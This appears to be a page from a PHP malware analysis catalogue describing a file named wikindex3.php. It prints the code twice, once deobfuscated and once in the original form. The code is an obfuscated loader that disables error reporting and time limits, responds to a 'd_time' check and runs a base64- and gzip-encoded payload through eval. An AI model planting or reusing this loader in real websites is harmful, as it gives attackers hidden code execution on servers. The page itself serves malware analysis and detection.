PHP Malware Analysis

Back to list

Filename: wikindex3.php

Tags

Encoding
  • base64_decode
Execution
  • eval
Environment
  • set_time_limit
  • error_reporting

Deobfuscated code

<?php

@set_time_limit(0);
@error_reporting(0);
$cAT3VWynuiL7CRgr = "379e5fd9f7fdb0f88b230a4908d392e1";
if (isset($_REQUEST['d_time'])) {
    die($cAT3VWynuiL7CRgr);
}
function lcYsA($ewRyaO)
{
    $ewRyaO = gzinflate(base64_decode($ewRyaO));
    for ($i = 0; $i < strlen($ewRyaO); $i++) {
        $ewRyaO[$i] = chr(ord($ewRyaO[$i]) - 1);
    }
    return $ewRyaO;
}
eval(lcYsA("7Vr5etpIEn8AP0VHYSPYwUhgfAMTG9vYuXzgkzDLJ6QGFHSNjmCcybz6VnVLSAiBnWS+/WuTOEiqs6t/dbSwPiB53fOon8/1ro4vb47b15/FsW4Y4h+FwjfyVXF7WmA6efpI1Xxf8ehWtadR1dZoXlQqhtdvHvjn7QP/42W9LhYKhX1Np/nCPvlOco7ieaROBorh0X1CFHysJ8w1z8/fnx1/FpEPrZFvQM6b2uYijdTrJKceXG/c3k2tQP+w3bwauigQGfHdgKLR74SCNaYpNnRxjovKMjNHWWoEtKi2PYaFCcgqFElKcj/Dj+8ZLhj20A58NPXmDUk/BOlytjUrMIzIxiyeqH9x55yJVt7aCC3wNWbQMhcKwVTAh/k9dpVJ4BrhTR4uqcUu44cJA09PTxhgRAHJWZRqC+qEi6PdiXJ6UBdCLHi+69hePqcUuQT6Fi6RbS96xFWVyMXpRe/4/ANc5ZT9VHxnPlCOWyYIynsudQxFBTdRSZEIuHkK+tcHBuAupRzUzGNwriQaIvLkkTdG9EA3aM9STIo7bTp4i5TBxNV9MDEjRzZc+megu7TnKK5ietwjqpi9IfV7JvWVnqb4SkIOZN6GMvmU8GcxcHUGtYFq2B6dk5p5mBkSJfBHvTGd8sgg7+LmR8KvGMgw9ISqI5uItYHtmkRRfd226sJrgYDfI1urC7BtvtCo6ZYT+MSfOrTO4DqxXU0g6Ba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vvVkOgSpHVrYOPvSXh8DSxH56UOYqmDtJSxVGonltpJS60vldqKpbbSUv2lUtVYqpqW0pZKVWKpSlpKXSpVjqXKaSlnJpV8GvA3HOy2VJ/XJpdRxe9EdEX8qmMdj99LOOUdzjl5nrPKOOcf7oSGPCb+KJICfGaztCMLK0xUXux2+cVuyzuLblefd7v6A27L1Ze6LVde7HZ50e1K6JO/3O2I5TrhNv99AG4JQPNf"));


Original code

<?php
@set_time_limit(0); @error_reporting(0); $cAT3VWynuiL7CRgr = "379e5fd9f7fdb0f88b230a4908d392e1"; if (isset($_REQUEST['d_time'])){ die($cAT3VWynuiL7CRgr); }function lcYsA($ewRyaO){ $ewRyaO=gzinflate(base64_decode($ewRyaO)); for($i=0;$i<strlen($ewRyaO);$i++) {$ewRyaO[$i] = chr(ord($ewRyaO[$i])-1); } return $ewRyaO; }eval(lcYsA("7Vr5etpIEn8AP0VHYSPYwUhgfAMTG9vYuXzgkzDLJ6QGFHSNjmCcybz6VnVLSAiBnWS+/WuTOEiqs6t/dbSwPiB53fOon8/1ro4vb47b15/FsW4Y4h+FwjfyVXF7WmA6efpI1Xxf8ehWtadR1dZoXlQqhtdvHvjn7QP/42W9LhYKhX1Np/nCPvlOco7ieaROBorh0X1CFHysJ8w1z8/fnx1/FpEPrZFvQM6b2uYijdTrJKceXG/c3k2tQP+w3bwauigQGfHdgKLR74SCNaYpNnRxjovKMjNHWWoEtKi2PYaFCcgqFElKcj/Dj+8ZLhj20A58NPXmDUk/BOlytjUrMIzIxiyeqH9x55yJVt7aCC3wNWbQMhcKwVTAh/k9dpVJ4BrhTR4uqcUu44cJA09PTxhgRAHJWZRqC+qEi6PdiXJ6UBdCLHi+69hePqcUuQT6Fi6RbS96xFWVyMXpRe/4/ANc5ZT9VHxnPlCOWyYIynsudQxFBTdRSZEIuHkK+tcHBuAupRzUzGNwriQaIvLkkTdG9EA3aM9STIo7bTp4i5TBxNV9MDEjRzZc+megu7TnKK5ietwjqpi9IfV7JvWVnqb4S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